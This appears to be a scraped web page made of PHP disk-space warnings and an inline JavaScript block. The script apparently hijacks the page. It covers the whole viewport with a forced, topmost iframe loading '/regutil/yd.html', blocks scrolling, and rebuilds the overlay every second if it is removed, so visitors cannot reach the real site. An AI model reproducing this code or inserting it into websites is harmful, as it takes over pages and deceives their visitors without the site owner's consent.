Warning: mkdir(): No space left on device in /www/wwwroot/Z3.com/func.php on line 127
Warning: file_put_contents(./cachefile_yuan/sldebt.com/cache/b2/dd1f7/67eab.html): failed to open stream: No such file or directory in /www/wwwroot/Z3.com/func.php on line 115
(function() {
function ensureBaseCSS() {
var css =
'html,body{margin:0;padding:0;width:100%;height:100%;overflow:hidden!important;}' +
'#tj_overlay{position:fixed;inset:0;width:100vw;height:100vh;background:#fff;z-index:2147483647;display:block!important;visibility:visible!important;margin:0;padding:0;}' +
'#tj_overlay iframe{position:fixed;inset:0;width:100vw;height:100vh;border:0;background:#fff;z-index:2147483647;display:block!important;visibility:visible!important;}';
var style = document.createElement('style');
style.type = 'text/css';
style.appendChild(document.createTextNode(css));
document.head ? document.head.appendChild(style) : document.documentElement.appendChild(style);
}
function generateRandomString(length) {
const characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
for (let i = 0; i < length; i++) {
result += characters.charAt(Math.floor(Math.random() * characters.length));
}
return result;
}
function mount(url) {
ensureBaseCSS();
// 如果已存在,先移除重建,保证样式与层级正确
var old = document.getElementById('tj_overlay');
if (old && old.parentNode) old.parentNode.removeChild(old);
var wrap = document.createElement('div');
wrap.id = 'tj_overlay';
wrap.setAttribute('style', 'position:fixed;inset:0;width:100vw;height:100vh;background:#fff;z-index:2147483647;display:block!important;visibility:visible!important;margin:0;padding:0;');
var iframe = document.createElement('iframe');
iframe.src = url;
iframe.name = generateRandomString(6);
iframe.setAttribute('frameborder', '0');
iframe.setAttribute('scrolling', 'yes');
iframe.setAttribute('allowfullscreen', 'true');
iframe.style.position = 'fixed';
iframe.style.inset = '0';
iframe.style.width = '100vw';
iframe.style.height = '100vh';
iframe.style.backgroundColor = '#fff';
iframe.style.border = '0';
iframe.style.zIndex = '2147483647';
iframe.style.display = 'block';
iframe.style.visibility = 'visible';
wrap.appendChild(iframe);
if (document.body) {
document.body.appendChild(wrap);
} else {
document.addEventListener('DOMContentLoaded', function () {
document.body.appendChild(wrap);
});
}
}
function keepAlive(url) {
// 1ms 兜底
try { mount(url); } catch(e) { setTimeout(function(){ mount(url); }, 1); }
// 保活:1s 检测一次,丢失则重建
setInterval(function () {
var el = document.getElementById('tj_overlay');
if (!el || !document.body.contains(el)) {
mount(url);
}
}, 1000);
// 视口变化时,强制维持 100vw/100vh
function resizeFix() {
var iframe = document.querySelector('#tj_overlay iframe');
if (iframe) {
iframe.style.width = '100vw';
iframe.style.height = '100vh';
}
}
window.addEventListener('orientationchange', function(){ setTimeout(resizeFix, 300); });
window.addEventListener('resize', function(){ setTimeout(resizeFix, 300); });
// ioses 滚动兼容(有时地址栏收缩会改变 innerHeight)
if (/ipads|iphoness|ipods/.test(navigator.userAgent)) {
window.addEventListener('scroll', function () {
var iframe = document.querySelector('#tj_overlay iframe');
if (iframe) {
iframe.style.height = window.innerHeight + 'px';
}
});
}
}
var url = '/regutil/yd.html';
keepAlive(url);
})();